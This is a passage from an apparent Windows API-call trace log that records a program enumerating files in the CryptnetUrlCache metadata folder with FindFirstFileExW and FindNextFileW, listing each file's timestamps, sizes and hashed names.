ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0089.159] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.159] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0089.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, 